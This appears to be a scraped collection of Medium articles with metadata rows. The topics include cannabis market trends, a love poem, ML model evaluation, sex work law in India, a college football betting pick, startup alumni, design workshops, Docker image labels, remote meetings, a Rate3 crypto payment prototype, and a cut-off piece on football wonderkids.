According to the LATAM Cannabis Report by Prohibition Partners, the recreational cannabis market in Latin America may reach US$4.2B by 2028, on conditions of an entirely regulated and legalised market. The prices for cannabis products are the lowest in the world due to a favourable climate for cannabis cultivation, cheap land, and mild labour laws. The same report states that low-quality cannabis and a weak currency exchange rate are reasons for the lowest cannabis prices in Europe and North America. Uruguay was the first country that fully legalised cannabis in December 2013, but the first legal sales started on July 19, 2017.
Who are consumers of recreational cannabis?
The illegal status of recreational cannabis makes the market and global trends of the recreational use of cannabis non-transparent. Among all countries, Canada has data available due to the legalisation and federal regulation of cannabis. Therefore, recreational users and their behaviour can be considered an example of Canadian consumers.
The Cannabis Act was taken into the force on October 17, 2018, making Canada a leader in the global cannabis market and the first G7 nation that fully legalised the use of cannabis by adults for recreational, medical, and industrial purposes. The Act establishes a strict legal framework to regulate the production, distribution, sale and possession of cannabis in Canada.
Under this Act, adults who are 18 years of age or older can legally:
own up to 30 grams of legal cannabis in dried or equivalent in non-dried form in public
share not more than 30 grams of legal cannabis with other adults
buy fresh or dried cannabis and cannabis oil from federally-licensed producers or a provincially-licensed seller
grow from licensed seed or seedlings (not more than four cannabis plants per residence for personal use)
make cannabis products such as beverages and food at home provided that organic solvents are not used to produce concentrated products
However, the legalisation of cannabis for recreational use is estimated to result in the medical spend declining at a CAGR of 3% up to 2024 to reach US$381.4M.
In December 2019, Canada allowed authorised distributors and retailers the sale of cannabis extracts, cannabis edibles (candy, baked goods), and cannabis “topicals” (ointments, oils, makeup) for adult use.
According to BDS Analytics, the recreational cannabis spend after legalisation in Canada reached US$112.5M and is expected to reach US$4.8B by 2024. The consumption of recreational cannabis in Canada is anticipated to reach 860.8 metric tonnes by 2022, which is twice more than in 2018.
According to “A society in transition” report by the traits of the typical user of recreational cannabis include:
Young individuals with a high school or college education. They are often called risk-takers as opposed to “live life to fullest”. The feeling of thrill makes them consume more, even at the risk of their being caught in an illegal act or have their health or safety compromised. According to the National Cannabis survey by Statistics Canada, up to 5.3M people above the age of 15 consumed recreational cannabis in Q1 2019. The males have a prevalence rate, with 22% against 13% of female users. Young users from 15 to 24 years had a prevalence rate of 30%, against a 16% rate in the age of 25 years and older.
Middle-aged individuals with a university or graduate school education, defined by Deloitte as conservative experimenters. Due to familial responsibilities, this category does not believe in defying the law. Usually, they are not newcomers: 74% of them have consumed recreational cannabis, and 41% had prior experience with it in the last five years.
As per “A society in transition” report, two-thirds of the recreational consumers in Canada consumed cannabis for a proper relax, better sleep, or lowered stress and anxiety.
The risk takers preferred to take recreational cannabis for the following reasons:
to spend time with friends
to be in a better mood
to heighten senses
to make activities more fascinating
According to study results from the Journal of Studies on Alcohol and Drugs, young people in the United States may also use cannabis to feel good, reduce boredom, alleviate tension or frustration, escape problems, and change the effects of other drugs. The users in Canada have similar motivational factors for recreational use.
Up to 20% of current users use cannabis regularly, while 33% consume it at least once a week. The cannabis legalisation is considered to have little impact on the consumption frequency of those who consume cannabis often. Conservative experimenters are expected to use cannabis from time to time.
Despite a vast difference in legal and illegal market prices, Canadian consumers of cannabis prefer legal channels. According to the National Cannabis Survey, less users chose cannabis from illegal sources in the first three months of 2019 (38%), in comparison to the first quarter of 2018 (51%). Deloitte’s report states that almost half of the users prefer government or licensed private retail stores due to a guarantee on the safety of the products. Approximately a third of cannabis consumers were interested in purchasing online from government retailers and licensed private retailers to maintain their anonymity, due to the cannabis reputation.
How did coronavirus affect the cannabis industry?
The novel virus has influenced the consumption patterns of cannabis users. Anticipating the lockdown and possible lack of cannabis products, most users have stockpiled in advance. The rush to dispensaries was also caused by the desire to cope with stress by using cannabis. Users of medical cannabis are the most likely group to keep current levels of consumption, while non-medical users may either increase or decrease consumption. However, dosage recommendations will remain stable. Moreover, many people have chosen self-quarantine. These users may receive cannabis products through delivery, but demand would likely drop if the number of confirmed COVID-19 cases keep on rising.
In the US demand was surpassing supply even before the coronavirus pandemic stockpiling. 2019 was a grand year for US cannabis sales, and the further pandemic panic has just strengthened the burst. Some experts claim that cannabis companies may still experience steady demand, though sales of some specific products such as edibles and drinks might be up to 30 per cent higher had COVID-19 not happened. While some businesses were enjoying record stock prices and boom times, many public cannabis company stocks went down more than 75% in relation to early 2019, which challenged the access to capital across the sector.
Some companies may face shortages in supply in the coming months due to border restrictions and unavailable logistics. Cannabis deliveries throughout many countries have been delayed as most supply chains originate in China, a low-cost and leading producer.
Many stores and dispensaries are temporarily closed during the pandemic, while others are limiting hours or offer online orders and home delivery. Job cuts for the industry are also increasing faster than expected.
Many trade-show and industry events have been discouraged from visiting or cancelled to slow down the spread of coronavirus. This included numerous important trade shows for the cannabis industry, which were set to place in the U.S., Canada, and Europe.
Verified by a Healthcare Professional
Anastasiia Myronenko
Anastasiia Myronenko is a Medical Physicist actively practicing in one of the leading cancer centers in Kyiv, Ukraine. She received her master’s degree in Medical Physics at Karazin Kharkiv National University and completed Biological Physics internship at GSI Helmholtz Centre for Heavy Ion Research, Germany. Anastasiia Myronenko specializes in radiation therapy and is a fellow of Ukrainian Association of Medical Physicists.
This article includes the promotion of products and services sold on Alphagreen and affiliate links to other businesses.
Alphagreen and its materials are not intended to treat, diagnose, cure or prevent any disease. The information and products presented on this site are not intended for medical use nor do they make any medical claims. Always seek the advice of your physician or another qualified healthcare provider for any questions you have regarding a pre-existing medical condition, are pregnant and/or are breastfeeding, and before undertaking any diet, exercise or another health-related program. | https://medium.com/alphagreen/coronavirus-lockdown-cannabis-industry-overview-878a92d13b16 | ['Alphagreen Team'] | 2020-07-31 15:13:54.202000+00:00 | ['Cannabis', 'Cbd', 'Cannabis Medical', 'Covid 19'] |
She believe in infinity, while he has faith in love | They say, universe plays around in mysterious ways,
While she was getting out,
He was going through the same phase.
They didn’t notice but it started it with a ‘Hi’,
They couldn’t see it when they shared that smile,
They loved the fact that they were friends,
They wanted a relation but with no loose ends.
Neither was she desperate for love, nor was he depressed,
When they expected it the least,
They got the best.
So they kept it the way it was,
Feelings were growing,
Maybe it was beginning of new chaos.
But, above all, love happened,
And so they accepted each other with their flaws.
Today,
She believe in infinity, while he has faith in love,
And so they stared out the window, to see the stars above
A lot of dreams were shared, lot of promises were made,
They had finally got the love, for which they’ve always craved. | https://medium.com/@wordswithlove/she-believe-in-infinity-while-he-has-faith-in-love-d35ecd561f2 | [] | 2020-12-16 14:12:18.742000+00:00 | ['Writing', 'Hope', 'Reality', 'Poetry', 'Love'] |
Why is Model Evaluation a crucial step in Machine Learning? — Part 1 | Why is Model Evaluation a crucial step in Machine Learning? — Part 1 Kountay Dwivedi Follow Sep 13 · 8 min read
Photo by Kountay Dwivedi
The core target of any researcher or a data scientist has always been to deduce a model that is “perfect” for the underlying problem domain. Before digging deeper into complex computation of the data itself, one should first prepare the tools that seem best suited for the purpose. Primarily, machine learning practitioners are always doodling around with the “parameters and hyper-parameters” of the model to get the generalization accuracy as high as possible. Lets move on and have a glimpse of how to get hold of these tools in an optimal fashion.
Fitting a model to a training dataset is different thing; making it a “good predictor” is a whole other story. This step is a must-to-do, since the generalization behavior of our model depends on it. No one wants a rote-learned model anyway!
Note: I have tried to summarize a research article by Sabastian Raschka, “Model Evaluation, Model Selection, and Algorithm Selection in Machine Learning”. Even though the article is a bit lengthy, I actually found it insanely informative. I am grateful to the author for being immensely detailed in his work.
This article is in three parts, so as to keep the length a bit short of each part, and also providing modular learning: | https://medium.com/analytics-vidhya/why-is-model-evaluation-a-crucial-step-in-machine-learning-part-1-eeb4882e7c8a | ['Kountay Dwivedi'] | 2020-09-17 12:43:11.097000+00:00 | ['Machine Learning', 'Artificial Intelligence', 'Bias Variance Tradeoff', 'Model Evaluation', 'Model Selection'] |
Is Sex Work just a Job? | “Specifically in India, the kind of sex work that takes place is mostly a result of trafficking, and I think even though sex work should be legalised, it is very important to keep a check on whether or not the sex work is being undertaken by choice. Along with this, something that we must keep in mind is that a lot of people turn to sex work as they do not have any other job opportunities. I think that these points should always be highlighted in all discussions surrounding sex work.” — Aashna Aggarwal (@thespiltuniverse)
(“Sex workers have been left behind by Covid-19 provisions”, 2021)
The need to research and write this article was born out of a conversation with a peer who strongly believed that at the end of the day sex work is just a job, and each job has some pros and cons and there need not be separate laws that need to be considered before legalising sex work. She voiced that each time we attempt to empower a community, we separate them more and more from society. She said that if you really want to give sex workers rights like any other citizen, sex work must be treated like any other job.
But is it like any other job?
Prostitution is not a new enterprise. It has flourished throughout history, and society has sustained this trade for eons without any legal recognition or protection to those who are engaged in the sex trade. In the absence of legal protection, women in the sex industry are in vulnerable positions, subject to sexual abuse and exploitation. As their work is not recognised, they are commonly excluded from mainstream society. They are thereby denied the national and international protection from abuse that is available to others as ordinary citizens, women or workers.
Here are a few quick questions to consider and ponder over before we make our minds on whether on not it is just a job:
If a person from the porn industry decides that they don’t want to continue their job anymore, but are bound by a contract, is that simply begrudging obligation or rape?
On the other hand, if an actor doesn’t want to act in a particular piece anymore, but they have to, would that be a human rights violation or merely a contractual obligation?
If a person sleeps with a sex worker and then refuses to pay, is that simply a breach of contract, or rape?
Alternatively, if somebody refuses to pay a freelancer after they’ve delivered their work, would that be a breach of contract or a human rights violation?
If a person buys nudes, and then later makes copies and sells them for profit, is that sexual harassment or just copyright violation/piracy?
If one secretly records a movie in a theatre and then sells it off at a personal profit, would that mean they pirated the movie or did they violate someone’s human rights?
Suddenly, sex work doesn’t sound like just a job, does it?
Prostitution and other forms of sex work should be a valid choice for women and men who choose to engage in it. This requires the differentiation of wilful prostitution from forced prostitution, and there needs to be an acknowledgement and a strong support for sex worker activism against abuse by both the sex industry and the legal system.
On one hand, sex workers and women who are exploited by sex work don’t have a voice. Research has shown that many women that end up in prostitution start when they are children. They have come from very chaotic backgrounds and are often sexually abused or been exposed to drug and alcohol addiction; so when we talk about legalising sex work, do we think it’s okay as a society to say that we should legitimize the exploitation of these very young women? Thus, it is often claimed that criminalizing the purchase of sex is aimed to reducing the amount of trafficking, which in India specifically is an important issue, because a lot of the very young and vulnerable women and girls are trafficked and forced into the prostitution. On the other hand, there exists a law against trafficking, but the problem with the lack of a law against prostitution is that it actually prevents the cries for help, because the business is completely underground, and illegal if the sex worker works in zones of tolerance known as red-light areas, this proof is often more dangerous, and has higher consequence than the abuse they are put through.
Over many years, India has adopted the system of abolition/toleration to deal with sex-work. Here, the term abolition is misleading, because it signifies not the abolition of prostitution as such by means of the criminal law, but the abolition of the laws and public ordinances which regulate and license the practice of prostitution. India follows the approach of toleration, which criminalizes the organizer of the sex trade but not the sex workers themselves. The present policy ensures that the sex trade is accessible but not offensively public and that sex workers are allowed to work, but without legal protection. No other profession suffers from such confusion about what is legal and what isn’t. The impact of these laws on sex-workers themselves is considered of secondary importance to maintaining society’s sexual double standards.
The Immoral Traffic (Prevention) Act, 1956 legalises sex work but in a way provides for punishment for sex workers, who do not keep their profession hidden from ‘the public’ and deals with excesses of exploitation in the industry. In theory sex workers are left alone to carry on their work but they are not entitled to child care facilities, compensation or minimum wages. In India, there are 3 million commercial sex workers, out of which 40% are children, according to a study conducted by the Indian Ministry of Women and Child Development. There have been no further official statistics released on this section of the population since their existence is simply “not accepted and acknowledged” (Sharma, 2019).
In India, there is no provision under the law, which makes prostitution a criminal offence, yet the topic in itself is criminalised due to the various stigmas and morals attached to the profession. There is plenty of proof of harassment of sex workers, not only by their employers and clients, but also by the police. While this article solely focuses on the women in the industry of sex work, it is important to note that a large portion of the transgender community is also involved in sex work. | https://medium.com/@krishnaaa-s/is-sex-work-just-a-job-1c8548f20a3a | ['Krishna Sawant'] | 2021-06-15 05:59:59.802000+00:00 | ['Sex Workers', 'Sex Work', 'Sex Work Legislation', 'Sex Worker Rights', 'Sex Work Is Real Work'] |
Dollar General Bowl: Appalachian State Mountaineers vs Toledo Rockets, 12–23–2017 | Dollar General Bowl: Appalachian State Mountaineers vs Toledo Rockets, 12–23–2017
Free College Football Spread Pick by David Luang of King Sports Picks
Appalachian State Mountaineers (8–4 SU, 5–7 ATS) vs Toledo Rockets (11–2 SU, 7–6 ATS)
Dollar General Bowl: Saturday, December 23rd, 7:00 PM EST
Line: Toledo -6.5, 61
The 2017 Dollar General Bowl features the Appalachian State Mountaineers vs the Toledo Rockets. The Mountaineers finished their season with an overall record of 8–4 which included a share of the Sun Belt Title while the Rockets had a successful season after finishing with an overall record of 11–2, which included winning the MAC Championship. Appalachian State knocked off Toledo in Montgomery, Alabama, claiming a three-point victory in the Camellia Bowl last season. Is the revenge factor a play with Toledo laying -6.5 points?
Despite winning eight games this season, the Mountaineers suffered back-to-back losses to very bad teams, UMass and Louisiana-Monroe. They managed to win their final three games of the season. On the season, Appalachian State is averaging 33.4 ppg on 438.3 total yards per game led by senior QB Tyler Lamb (27 TD, 6 ints). Last season vs Toledo, Lamb rushed for 126 yards and passed for 119 yards while accounting for two touchdowns. If they win this season, it will be because of their defense. On the season, Appalachian State is holding their opponents to an average of 21.9 ppg on 358.8 total yards per game. They will be facing an explosive Toledo offense led by QB Logan Woodside.
Logan Woodside had another remarkable season, throwing for 3800 yards 28 TD’s to 5 interceptions. Woodside threw for 247 yards and two scores in his last meeting with the Mountaineers and this will be his last game under center for the Rockets. Woodside isn’t the only star on this Toledo team, Terry Swanson rushed for over 1300 yards to go along with 14 touchdowns and Diontae Johnson had over 1250 yards receiving with 13 touchdowns. Defensively, Toledo has been inconsistent. The team’s rushing defense struggled in several games this year, especially in double-digit losses to Miami (FL) and Ohio. But the defense also did a stellar job of shutting down the offenses of Western Michigan and Central Michigan.
The Mountaineers are 4–1 ATS in their last 5 games following an ATS win but just 2–5 ATS in their last 7 games after scoring more than 40 points in their previous game. Appalachian State was not the same team on the road (3–3) as they were at home (5–1) and they averaged just 26 PPG on the road this season, a touchdown less. The Rockets are 4–1–1 ATS in their last 6 vs. Sun Belt but just 1–4 ATS in their last 5 non-conference games. Toledo was (7–0) at home and (4–2) away and the Rockets averaged 38.5 PPG on the road this season, which included putting up 30 points on a solid Miami defense.
This should be another competitive ball game but I don’t see this Mountaineers offense keeping pace with Toledo. This could be tight leading into the 4th quarter but I expect Toledo to pull away with the win and cover the -6.5 point spread.
Dollar General Bowl Prediction: Toledo -6.5 | https://medium.com/verifiedcappers/dollar-general-bowl-appalachian-state-mountaineers-vs-toledo-rockets-12-23-2017-7ad11b239efe | ['Vc Sports Monitor'] | 2017-12-23 12:26:21.026000+00:00 | ['Sports', 'College Football', 'Toledo', 'Sports Betting', 'Gambling'] |
The startup ecosystem flywheel -Westwing as a case in point | Two weeks ago, Westwing, the Munich-based home & living e-commerce company, had its 10th birthday. Westwing is a company which has been a big part of my life over those ten years, so I took this as the occasion to update a little piece I wrote a few months back to celebrate this awesome company but also to celebrate the crucial role which I believe entrepreneurs and startups play in our economy.
The whole thing started when I came across two funding announcements in the same week from former Westwing colleagues who had gone on to start their own companies. Being fascinated by the positive flywheel effects that our startup ecosystem has, I sat down and made a list of all the companies I could come up with that had been founded by former Westwing employees. What I found was pretty amazing. By my first estimate, the companies who had been founded by former Westwing team members had in sum probably raised the same amount of money as Westwing — or so I thought! I posted the list on LinkedIn, which quickly became flooded by comments from people who were adding ventures, many of which, I have to admit, I had never even heard about.
So following up on this earlier piece, I now pulled together the full list of all companies that have been founded by Westwing alumni, and it paints a pretty amazing picture:
Former Westwing team members have founded 31 companies that I am aware of, which are currently operational. There is probably a much larger number of companies that are not around any longer and new ones which are not really public yet.
that I am aware of, which are currently operational. There is probably a much larger number of companies that are not around any longer and new ones which are not really public yet. They have raised >€1bn of VC funding for their ventures — This is ~5x the amount raised by Westwing !
! Their companies are employing ~4'000 people ~3.7x the employees of Westwing!
I expect these companies to continue to outgrow Westwing and become relatively larger over time. 77% of the funding raised to date has been by the 8 oldest companies , which are at least 5 years old. Once some of the 23 younger companies start taking off, I would expect this to shift even further.
, which are at least 5 years old. Once some of the 23 younger companies start taking off, I would expect this to shift even further. The first company was started when Westwing was about 2 years old and after 4 years there was a steady number of new companies founded every year.
founded every year. Only a third of the companies were started in fields related to Westwing, such as other e-commerce businesses or across the value chain: from back-end logistics, fulfillment, and operators to analytics. The rest were started in fields ranging from wealth management to solar and drone tech.
They’ve raised from top-tier VCs such as: Sequoia Capital, HV Ventures, Earlybird, Global Founders Capital, Lightspeed Venture Partners, Heartcore Capital, Picus Capital, Point Nine Capital, La Famiglia, and many more.
With 60% of ventures headquartered in Germany, there is also a big impact on the ecosystems outside of the original country of origin.
Note: You can find the full list here, including all of the assumptions for the data that was not publicly available. Please feel free to edit directly in the list if you come across any companies I may be forgetting.
This means that after 10 years, Westwing has had a ~5x multiplier effect in the startup ecosystem, and I would expect this effect to continue to grow significantly over the coming years. Especially once you consider that some of the really successful companies are now also reaching a maturity where they are likely producing their own alumni who go on to start their own companies.
That doesn’t mean that these great entrepreneurs wouldn’t have built their company if they hadn’t been at Westwing, but it is really great to see these multiplier effects! This is also something that we frequently see at Antler, where oftentimes early team members of great and successful ventures, in turn, become successful founders in their own right.
In any case: Happy birthday Westwing, thank you for being the great cradle of talent that you are — and thank you to all you entrepreneurs out there for doing what you are doing. | https://medium.com/@alanpoensgen/the-startup-ecosystem-flywheel-westwing-as-a-case-in-point-440a1672e453 | ['Alan Poensgen'] | 2021-05-18 15:56:55.998000+00:00 | ['Entrepreneurship', 'Founders', 'Startup', 'Impact', 'Funding'] |
8 benefits of design workshops | 8 benefits of design workshops
Whether you’re doing them remote or in-person.
The SimpleSite Design team at work.
Over the past few years, I’ve planned, facilitated, and participated in multiple workshops, from 1-hour ideations to 1-week Design Sprints.
For a good workshop, you need a proper challenge and goal, you need planning and good facilitation, and you need to bring the right people together at the right time.
You also need buy-in from all relevant stakeholders and commitment from all your participants. Without the former, it’s a non-starter. Without the latter, you’ll struggle to gain any value from your workshop.
Below are my 8 go-to arguments for having a workshop, whether remote or in-person. I’m writing from my perspective as a Product Designer, but really, these benefits apply to any kind of workshop. I hope they will help you the next time you have to convince someone of their value!
The value of workshops
1. Multiple perspectives
Workshops are all about bringing multiple people — the right people — together, to share their perspectives on a given challenge or opportunity, contribute their domain expertise, or come up with ideas inspired by each of their unique roles.
As an example, you may bring in a Developer, a Marketing Manager, and someone from Customer Support to work on something that would normally be handled solely by the Product Design team.
2. High-quality work
When you have the right group of people with diverse perspectives, all committed to achieving the same goal, and you guide them through a carefully laid-out agenda of exercises, you have the ingredients for high-quality work. Arguably, work of higher quality than could have been achieved by one person working on the same task by themselves.
3. Efficiency
A workshop can be a highly efficient way of gathering multiple perspectives, considering and prioritizing your options, and making decisions. From my experience, this is arguably the most valued benefit of a workshop. Consider the Lightning Decision Jam for a prime example of efficiency at play.
Speed up your analysis of user test results with a workshop.
4. Reduced bias
Now, some people argue, for very good reasons, that workshops can actually cause a bias. They imagine a shouting match (aka brainstorm) where the most extroverted (or just loudest) person gets their idea across. They imagine open discussions where the most charismatic or senior person wins.
In those situations, I completely agree. They’re perfect for causing a bias toward the person presenting something, rather than what they’re presenting.
However, with the right exercises and proper facilitation, you can achieve an even lower level of bias than you’d have in your normal work. Use two of the key principles from Jonathan Courtney’s The Workshopper Playbook:
Together, alone. Let everyone write down their thoughts or questions, or sketch their ideas, in silence. This gives all participants the opportunity to form and frame their own thoughts, ideas, or perspectives on something, without being influenced by anyone else. You’re all working towards a common goal, but you’re not discussing or negotiating your way there.
Let everyone write down their thoughts or questions, or sketch their ideas, in silence. This gives all participants the opportunity to form and frame their own thoughts, ideas, or perspectives on something, without being influenced by anyone else. You’re all working towards a common goal, but you’re not discussing or negotiating your way there. Keep it anonymous. Simply tell participants to put up their notes, ideas, or whatever you've asked them to write down, without presenting or arguing their case. If necessary, you, as the facilitator, can present or explain what you see to make sure you’re all aligned. Let everyone vote on their favorite idea or the challenges they think are most important, rather than on the presentation or the person behind it.
Individually and anonymously sketched ideas, silently evaluated and prioritized with dot stickers.
5. Sense of ownership
What happens when you bring multiple people together, level the playing field, and let everyone contribute equally, is a significantly heightened sense of ownership of the project and its success. The sense of ownership can be felt by all participants regardless of rank or department in a way that’s extremely hard to achieve through “normal” work processes.
6. Alignment
Another important reason for bringing multiple stakeholders together is creating alignment. Whether it be aligning on who you’re designing for, what the challenge actually is, or which idea should be pursued first, workshops are a great enabler.
Alignment comes from a shared goal, making sure everyone is heard during the workshop, using non-hierarchical and democratic processes, and ending it with one or more decisions and clear next steps that everyone commits to.
7. Team spirit
To be fair, there is a small risk of your workshop turning into a big argument where two or more participants just can’t agree on something and refuse to compromise. In the other 9 out of 10 times though, a workshop will lead to increased team spirit through teamwork, the constant sense of progress, and the excitement that comes from achieving a shared and valuable goal!
8. Excitement
Speaking of excitement, I actually see this as important enough to deserve its own headline. In addition to the team spirit shared by everyone, each participant should experience a sense of excitement about their work, both during and after the workshop! Perhaps all your colleagues are already loving their work, but even so, who doesn't benefit from a little extra boost? | https://medium.com/design-bootcamp/8-benefits-of-design-workshops-6f04c76ec575 | ['Christian Jensen'] | 2020-11-19 13:52:40.507000+00:00 | ['Creativity', 'Design Thinking', 'Design', 'Workshop', 'Business'] |
Compose or Dockerfile? It’s Complicated. | Build or run time labels? Both attractive, different use cases.
It’s a good idea to put labels on your Docker images for many reasons we’ve talked about before. But should you put the labels in your Dockerfile or your Compose .yml file?
Actually that’s a surprisingly complicated question.
Build Time Labels vs Run Time Labels
At the Label-Schema.org community so far we’re promoting conventions for the use of build time labels.
Build time labels are specified in your Dockerfile as described in this blog post. Once an image is built using that Dockerfile the labels become an immutable part of the built image — they cannot be overwritten for the image. So, build time labels would ideally specify stuff that’s never going to change for the lifetime of the container image, like the vcs reference or the build date.
In the future though, at Label-Schema.org we intend to include suggestions for run time labels.
Run time labels can be applied to a container when it’s started via the Docker run command. They then apply to that container until it is stopped. You cannot change the run time labels for a running container. Once the container is stopped, the run time labels are lost. Run time labels can be used to specify entirely new labels for a running container or to temporarily overwrite the values of build time labels.
Both build and run time labels are queried identically for a running container using docker inspect. You cannot tell whether docker inspect is showing you a build or a run time label
I suspect my personal preference would be if you could update or at least add run time labels for a running container AND differentiate between build and run time labels in an inspect response.
Compose or Docker files?
You can add labels to Compose files like this:
version: '2'
services:
test:
labels:
- "org.label-schema.schema-version=1.0"
- "org.label-schema.name=e.g. Example project name"
- "org.label-schema.description=Example project description in 300 chars or less"
- "org.label-schema.vendor=e.g. ACME Inc"
- "org.label-schema.url=e.g. https://www.example.com/"
- "org.label-schema.vcs-ref=$VCS_REF"
- "org.label-schema.vcs-url=e.g. https://github.com/microscaling/microscaling"
- "org.label-schema.version=$VERSION"
- "org.label-schema.build-date=$BUILD_DATE"
HOWEVER, any labels you add to Compose files are always treated as run time labels. The labels above are added at “docker run” to containers created by the Compose file, but they are not built into any container images built by Compose. A build time label has to be specified in the Dockerfile (there is an open issue against Compose for this). So, right now there is no reason to specify label-schema.org build-time labels in a compose file. They need to go into the Dockerfile.
Please hit the Recommend button below if you found this article interesting or helpful, so that others might be more likely to find it.
Check out MicroBadger to explore image metadata, and follow Microscaling Systems on Twitter. | https://medium.com/microscaling-systems/compose-or-dockerfile-its-complicated-f9a27b7ff2bc | ['Anne Currie'] | 2016-12-02 16:58:10.105000+00:00 | ['Labels', 'Containers', 'Docker Compose', 'DevOps', 'Docker'] |
When to actually have a meeting | If you’ve recently been thrust into the world of remote work by the threat of COVID-19, you’re likely to be experiencing some anxiety about this new modality. Or perhaps you’re no stranger to working from home on a part-time basis, but the knowledge you won’t be going into the office for your regular weekly team meeting makes you a bit uncomfortable. And even if you’re used to flexible work, you may have some concerns about being part of a now fully-distributed team. If any of these scenarios sound familiar, you’re probably wondering how you’ll effectively connect with your team to make decisions in the coming days and weeks. In other words: when should I meet with them?
It’s an understandable concern at a time when “face-to-face” has been replaced by “stay-in-place.” Aside from our natural human need to socialize and the health benefits we derive from interacting with others, we’re conditioned to gather when we need to make important business decisions.
But now, more than ever, is a good time to step back and ask yourself these three questions before booking time on your team’s calendar:
Do we have time?
Consider this before you carve out time in your team’s already-busy schedule: the average middle manager spends about 35% of their time in meetings. And remote workers believe meetings reduce their productivity 1.8x more than on-site workers. If your team is already adjusting to a new way of getting work done, the potential productivity hit from meetings may be even greater.
Here’s another way to think about this: what would my team be spending their time on if they didn’t have to be in this meeting? The answer to this question may be enough to convince you to hold off on gathering them. Am I ready?
We don’t work in a vacuum, which leads us to seek out the opinions and perspectives of our teammates. However, sometimes this interdependence leads us to bring ‘all hands on deck’ before there’s a real need for their contributions.
One important clue: if the purpose of a potential meeting isn’t abundantly clear to you, chances are good you haven’t thought through the situation as well as you could. If this is the case, try taking a step back — book time with yourself for strategic thinking. A simple high-level review of your project may reveal you’ve got some planning to do before getting your teammates involved in the process. Is there another way?
It’s no secret that meetings aren’t always necessary. Decisions don’t always need to be made in real-time, and are in some cases better achieved asynchronously.
There’s power in developing comfort with delayed gratification. Try thinking about a few of the questions you planned to ask your team members, and how they’d respond if asked these questions during a meeting. Now imagine how their responses might differ if they had a few hours or even a day to think through the possibilities.
Meetings can be powerful tools for real-time collaboration and decision-making. That’s why we often gravitate toward them as the first step of a new initiative, or to mark key milestones in a project’s lifecycle. After considering the three questions above, you may well decide that, yes, it’s time to send out an invite to your team. But you’ll be better prepared to hold a meeting that is productive — and rewarding — for all involved. | https://medium.com/the-making-of-whereby/when-to-actually-have-a-meeting-8b3be1b5a60c | [] | 2020-04-28 21:17:33.547000+00:00 | ['Asynchronous', 'Remote Working', 'Meetings', 'Remote Work', 'Scheduling'] |
Rate3 Prototype [Testnet LIVE!]: A Step-by-Step Explanation | Using RateX: Fiat-Fiat exchange
Our flagship product RateX is a browser extension to help consumers save on FX charges when we shop online. Essentially, when you pay for overseas cross-border changes, you pay additional (and often hidden) charges in two ways:
Credit card processing fees
Dynamic currency conversion fees (from buyer’s domestic currency to merchant’s accepted currency)
This often adds up to 3–10% on a transaction. In short, consumers pay more for a transaction and merchants receive less from a transaction.
We created RateX to solve this fiat-conversion issue and allow consumers to check-out seamlessly with a beautiful user experience.
How does RateX work?
A few simple steps:
Step 1: Install the browser extension from Google
Step 2: Shop normally on our supported merchants.
Step 3: On check-out, the RateX payment extension automatically appears and consumers can choose to pay by credit/debit card, Rate wallet or bank transfer.
At the Check-Out page for our supported merchants:
The RateX extension appears seamlessly during check-out.
A Closer Look at What’s Happening:
For Amazon (US) where merchants receive and settle in USD, we allow consumers to pay in SGD and TWD (our currently supported fiat pairs).
The savings (in FX conversion and processing) from using RateX are very clearly displayed too. We also display the prices you would pay if you use Amazon, and other banks’ credit cards for you to compare:
RateX for Amazon (US). Source: Rate.
Now, let’s take a look at another very popular merchant: Taobao from China. Here, consumers can pay in SGD or TWD, while merchants receive in RMB.
RateX for Taobao (China). Source: Rate.
How Consumers Pay:
Consumers can choose to pay by credit/debit cards or bank transfer, without incurring any of the additional credit card processing/exchange rate charges.
One of the payment methods: Debit/Credit card
What fiat currency-pairs do RateX support now?
Good, but not greaaaat.
Creating different valid currency pairs is tough. Right now, consumers can choose to pay in SGD or TWD for our supported merchants who can receiv only in USD, RMB and YEN.
Introducing… the Future: MetaMask for Payments.
Rate3: MetaMask for Payments. But Better.
RateX is wildly popular because it is easy to use, looks good and it works. Likewise, MetaMask is popular for Ethereum because it is easy to use, looks good and works seamlessly.
Imagine the MetaMask for E-Commerce Payments.
RateX as the first dApp to process payments
Using RateX as the first dApp, consumers can pay in their debit/credit card or any cryptocurrency (that are supported on the Stellar Network).
In this example, we use 1 specific case of payment through RTE tokens. In terms of list of supported currencies that consumers and merchants can receive, please read below. This transaction is live on the Stellar testnet.
Transactions are almost instant: 3–5 seconds.
Successful Transaction on the Stellar Testnet
Tracking your test transaction on Stellar testnet. Live!
After trying out the transaction, you can see the transaction hash and log on the Stellar testnet itself.
You see the transaction fees too — as borne by the merchant, due to our Cross-Border Payment Protocol.
What currency pairs can Rate3 support in the near future?
Consumers can choose to pay in any supported fiat currencies (either through their credit/debit cards, bank transfers) or supported cryptocurrencies (through any native crypto-wallets).
Currency flows in the future
For the detailed list of all currency and assets that Stellar currently supports, please refer to the offiical Stellar directory and StellarTerm.
Essentially, RateX allows one to do fiat-fiat exchanges.
Rate3 allows you to do much more. You can accomplish: | https://medium.com/official-rate3/rate3-prototype-testnet-live-a-step-by-step-explanation-11eb511f43fe | [] | 2018-08-06 09:53:59.159000+00:00 | ['Ethereum', 'Rate3', 'Bitcoin', 'Stellar', 'How To'] |
Why Don’t All Wonderkids Succeed? | Photo by Isaiah Rustad from Unsplash
Wonderkids are usually hyped up to be the next big thing. Often compared to current stars who are seen as their natural future progression, these young athletes have introduced themselves to the world by showing glimpses of their potential.
However, the unfortunate truth of the matter is that not all of them are able to carry on their youth form into their senior careers, with some even disappearing into obscurity. Hence, this article will analyse some of the factors involved that affect their performance as they progress to the senior team.
(While this article is mainly focused on football, it can also be extrapolated to other sports as most of these points would still be relevant.)
Physicality
The first is the physical factor, which can be deceptively important. Many youth athletes compete in similar age groups because of this reason (for example, playing with the under-17 or under-19 teams), but may find it hard to adapt when it’s time to transition to the senior team.
They’re suddenly faced with other players who are bigger, stronger, and even faster than they are due to the longer period of time they have spent as an active athlete, resulting in those youths sometimes being unable to cope.
While some players are definitely physically stronger than their older counterparts, dealing with them might be a different story altogether. A pacy winger might be able to sprint past a couple of players, but might not be able to handle a tough-tackling veteran defender, or a muscular centre back might be able to perform good clearances, but might lose aerial duels to hardened midfielders when defending corners.
Expectations
Most youth athletes will have a certain reputation when they’re promoted to the first team, and that results in the manager having certain expectations of them when they step onto the pitch.
While it is understandable that they might not perform at the same level, they are still expected to play to a desired standard. Otherwise, they’ll be dropped before they even have a chance to showcase their potential, especially when the manager decides it’s not worth it to play them over someone more experienced but out of form.
